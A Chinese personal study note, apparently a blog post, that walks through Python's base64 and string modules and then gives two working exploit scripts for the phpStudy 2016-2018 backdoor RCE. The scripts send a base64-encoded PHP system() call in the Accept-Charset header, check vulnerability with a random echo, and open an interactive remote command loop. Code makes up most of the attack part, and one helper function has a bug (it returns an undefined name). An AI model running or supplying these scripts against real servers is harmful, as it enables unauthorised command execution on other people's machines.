python 编写 phpstudy_2016 EXP 漏洞利用脚本之RCE

注:个人笔记,非常简陋,仅供参考。

名词 解释
POC (Proof of Concept) 漏洞验证代码,验证漏洞的存在性。
EXP (Exploit) 渗透、攻击; 完整的漏洞利用工具
RCE (Remote Code|Command Execute) * 漏洞的类型 * 在远程目标上执行代码或命令

手工验证漏洞的问题:

  • 效率
  • 准确性

针对RCE 漏洞开发EXP,常见的RCE 漏洞:

  • phpstudy_2016-2018_rce
  • seacms_6.26-6.28_rce
  • sangfor_edr_3.2.19_rce
  • ...

考虑将写好的EXP 集成到pocsuite3 框架中。

常见模块介绍

base64

base64 模块就是用来进行base64 编解码操作的模块。

base64 编码

直接利用模块中函数即可,注意使用二进制形式进行编码。

python 复制代码
>>> import base64
>>> s = '''system("whoami");'''
>>> base64.b64encode(s.encode())   #  .encode() 字符串转换成二进制数据
b'c3lzdGVtKCJ3aG9hbWkiKTs='
>>> base64.b64encode(s.encode()).decode()
'c3lzdGVtKCJ3aG9hbWkiKTs='
>>>

base64 解码

直接使用函数即可。

解码不需要转换成二进制

python 复制代码
>>> import base64
>>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
>>> base64.b64decode(s)
b'system("whoami");'
>>> base64.b64decode(s).decode()
'system("whoami");'
>>>

string

字符集合模块。

python 复制代码
>>> import string
>>> string.
string.Formatter(       string.ascii_uppercase  string.octdigits
string.Template(        string.capwords(        string.printable
string.ascii_letters    string.digits           string.punctuation
string.ascii_lowercase  string.hexdigits        string.whitespace
>>> string.printable    # 可打印字符
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
>>> string.printable.strip()
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
>>>

常规EXP 编写

phpstudy_2016-2018_rce

漏洞利用脚本

python 复制代码
# phpstudy_2016-2018_rce

"""
GET /phpinfo.php HTTP/1.1
Host: 10.4.7.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept-Encoding: gzip,deflate
Accept-Charset: 


"""

import requests
import base64

url = "http://10.4.7.130/phpinfo.php"

cmd = "net user"

cmd = f"system('{cmd}');"

cmd = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
    "Accept-Encoding"   : "gzip,deflate",
    "Accept-Charset"    : f"{cmd}"
}

res = requests.get(url = url, headers = headers)

html = res.content.decode("GBK")  #windows系统对中文的编码就是GBK编码

offset = html.find("<!DOCTYPE html")

result = html[0:offset]

print(result)

进阶脚本

  • 漏洞存在性测试:无损;
  • 循环执行命令。
python 复制代码
# phpstudy_2016-2018_rce

import requests
import base64
import sys
import re
import random
import string

banner = """
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - ZS
Usage: python3 *.py http://10.4.7.130/phpinfo.php
"""

def attack(cmd, url):
    cmd = f'''system("{cmd}");'''
    cmd = base64.b64encode(cmd.encode()).decode()
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }

    res = requests.get(url = url, headers = headers)

    html = res.content.decode()
    offset = html.find("<!DOCTYPE html")
    result = html[0:offset].strip()

    return result

def gen_random_str(l):
    s = ""
    for i in range(l):
        i
        s += random.choice(string.ascii_letters)

    return sk

def verify(url):
    random_str = gen_random_str(32)
    cmd = f"echo {random_str}"
    if random_str in attack(cmd, url):
        return True
    else:
        return False

if len(sys.argv) < 2:
    print(banner)
    exit()

url = sys.argv[1]

print(f"Target: {url}")

if not verify(url):
    print(f"The Target is NOT VULNERABLE!")
    exit()

flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")

if flag == "n":
    exit()

info = re.findall(r'http://(.*)/', url)[0]

while True:
    cmd = input(f"<{info}> ")
    if cmd == "exit":
        break
    print(attack(cmd, url))
相关推荐
计算机相关知识分享1 小时前
python基础知识(二)
开发语言·python
Python私教2 小时前
PyPika:Python SQL 查询构建器
开发语言·python·sql
全栈老实人_2 小时前
考研互学互助系统|Java|SSM|VUE| 前后端分离
java·开发语言·tomcat·maven
天天进步20152 小时前
Java全栈项目实战:校园报修服务系统
java·开发语言
Themberfue2 小时前
Java 网络原理 ①-IO多路复用 || 自定义协议 || XML || JSON
xml·java·开发语言·网络·计算机网络·json
m0_699659562 小时前
DAY3 QT简易登陆界面优化
开发语言·qt·命令模式
励志成为大佬的小杨3 小时前
关键字初级学习
c语言·开发语言·算法
卡戎-caryon3 小时前
【MySQL】01.MySQL环境安装
数据库·笔记·mysql·环境配置
AI研习星球3 小时前
数据分析-50-客户价值分析-用Python实现RFM模型
python·机器学习·自然语言处理·数据挖掘·数据分析·算法学习·论文辅导
机器懒得学习3 小时前
打造智能化恶意软件检测桌面系统:从数据分析到一键报告生成
人工智能·python·算法·数据挖掘